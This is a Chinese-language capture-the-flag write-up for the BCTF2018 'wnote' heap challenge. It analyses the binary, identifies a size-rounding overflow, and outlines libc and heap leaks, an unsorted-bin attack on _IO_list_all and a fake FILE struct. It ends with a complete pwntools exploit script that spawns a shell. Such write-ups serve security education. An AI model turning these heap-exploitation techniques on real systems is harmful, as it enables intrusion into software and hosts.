BCTF2018-wnote

题目

  • 文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    root@261f8c67866c:/pwn/wnote# file wnote
    wnote: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=684d0cb0365cd02a87cff0614e93e462659047d0, not stripped
    64位elf文件动态链接
    root@261f8c67866c:/pwn/wnote# checksec wnote
    [*] '/pwn/wnote/wnote'
    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: PIE enabled
  • 功能

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    == Welcome to WOLLEY note manager V1.12 ==
    == 1. Add note ==
    == 2. Edit note ==
    == 3. Delete note ==
    == 4. Encrypt note ==
    == 5. Decrypt note ==
    == 6. List one note ==
    == 7. List all note ==
    == 8. Exit note ==
    == Enter a number to start... ==
  • 数据结构

    1
    2
    3
    4
    5
    calloc(1uLL, 0x1E0uLL); 存放结构体数组
    note 结构体
    0x0 ptr
    0x8 size
    0x10 encrypt#加密标志

漏洞

1
2
3
4
5
6
7
8
9
10
if ( size > 0x20 )
{
v27 = 0x40LL;
if ( (size - 0x21LL) > 0x1E )
{
if ( (size - 0x41LL) <= 0x3E )
v27 = 0x80LL;
else
v27 = (size + 15) & 0xF;
}
  • 可以分配的堆快大小受到限制,只能得到0x20 0x50 0x80 大小的堆块。
0x00-0x20 input_size 0x20
0x21-0x3f 0x40
0x40 (input_size +0xf)&0xf
0x41-0x7f 0x80
0x80-0x400 (input_size+0xf)&0xf
  • 输入size为0x40 或大于0x7f时会产生溢出
  • 漏洞利用

    • info leak
      • FD leak addr
        • 通过溢出修改size造成overlap
        • 将数组中两个ptr指向同一个堆
        • unsortbin leak libc
        • fastbin leak heap
    • hijack rip
      • unsortbin attack io_list_all
      • 通过溢出伪造堆块大小为0x60(fake file struct),free
      • 再次malloc,触发_IO_flush_all_lockp getshell

    exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
context.log_level = 'debug'

p = process('./wnote')

def add_note(len,conte):
p.sendlineafter("== Enter a number to start... ==",'1')
p.sendlineafter("note length:",str(len))
p.sendlineafter("content:",conte)
def edit_note(idx,len,conte):
p.sendlineafter("== Enter a number to start... ==",'2')
p.sendlineafter(' edit:',str(idx))
p.sendlineafter("length:",str(len))
p.sendlineafter("content:",conte)
def dele(idx):
p.sendlineafter("== Enter a number to start... ==",'3')
p.sendlineafter("delete:",str(idx))

def leak(idx):
p.sendlineafter("== Enter a number to start... ==",'6')
p.sendlineafter("want to list:",str(idx))
p.recvuntil(repr(idx)+': ')
data = p.recvuntil('\n')[:-1]
return data


def hint():
print pidof(p)
raw_input()

def pwn():
add_note(0x40,'A'*20)#0
add_note(0x7f,'C'*20)#1
add_note(0x40,'B'*20)#2
add_note(0x40,'B'*20)#3
add_note(0x40,'D'*20)#4
add_note(0x21,'D'*20)#5
edit_note(0,0x40,'A'*0x18+'\x41'+'\x01')
dele(1)
add_note(0x7f,'111')#1
add_note(0x40,'2222')#6
add_note(0x40,'3333')#7
add_note(0x50,'44444')#8
dele(6)
dele(7)
data = leak(3)
print data
heap = u64(data.ljust(8,'\x00'))
print "[*] heap addr is " + hex(heap)
aim = heap - 0x218
edit_note(2,0x40,'A'*0x18 + '\x21' + '\x22' + '\x00'*6 + p64(aim))
add_note(0x40,'1111')#6
leak_libc = heap - 0x80
add_note(0x40,'a'+'\x00'*7+p64(leak_libc) + '\x31\x41')#7
dele(1)
libc = u64(leak(6).ljust(8,'\x00')) - 0x3c4b78
print "[*] libc is " + hex(libc)
hook = libc + 0x3c4b10
one = libc + 0x4526a
io_list = libc +0x3c5520
system = libc + 0x45390
bin0 = libc +0x3c4b78
add_note(0x7f,'1111')#1
add_note(0x40,'1111')#
add_note(0x7f,'1111')#
add_note(0x40,'1111')#
dele(1)
edit_note(0,0x100, 'A'*0x18+ '\x61\x11'+'\x00'*6 + p64(bin0) + p64(bin0) )
add_note(0x7f,'1111')#1
dele(10)
edit_note(9,0x40, 'A'*0x18+ '\x91\x11'+'\x00'*6 + p64(bin0) + p64(io_list-0x10))
vtable = heap-0x90+0xd0
fake = '/bin/sh\x00'
fake += p64(0)*4
fake += p64(1)+p64(0)*21 + p64(vtable)+p64(system)*2
edit_note(0,0x100,'A'+'n'+'\x00'*14 + fake)
add_note(0x7f,'aaa')
p.sendlineafter("== Enter a number to start... ==",'1')
p.sendlineafter("note length:",str(0x7f))
p.interactive()
pwn()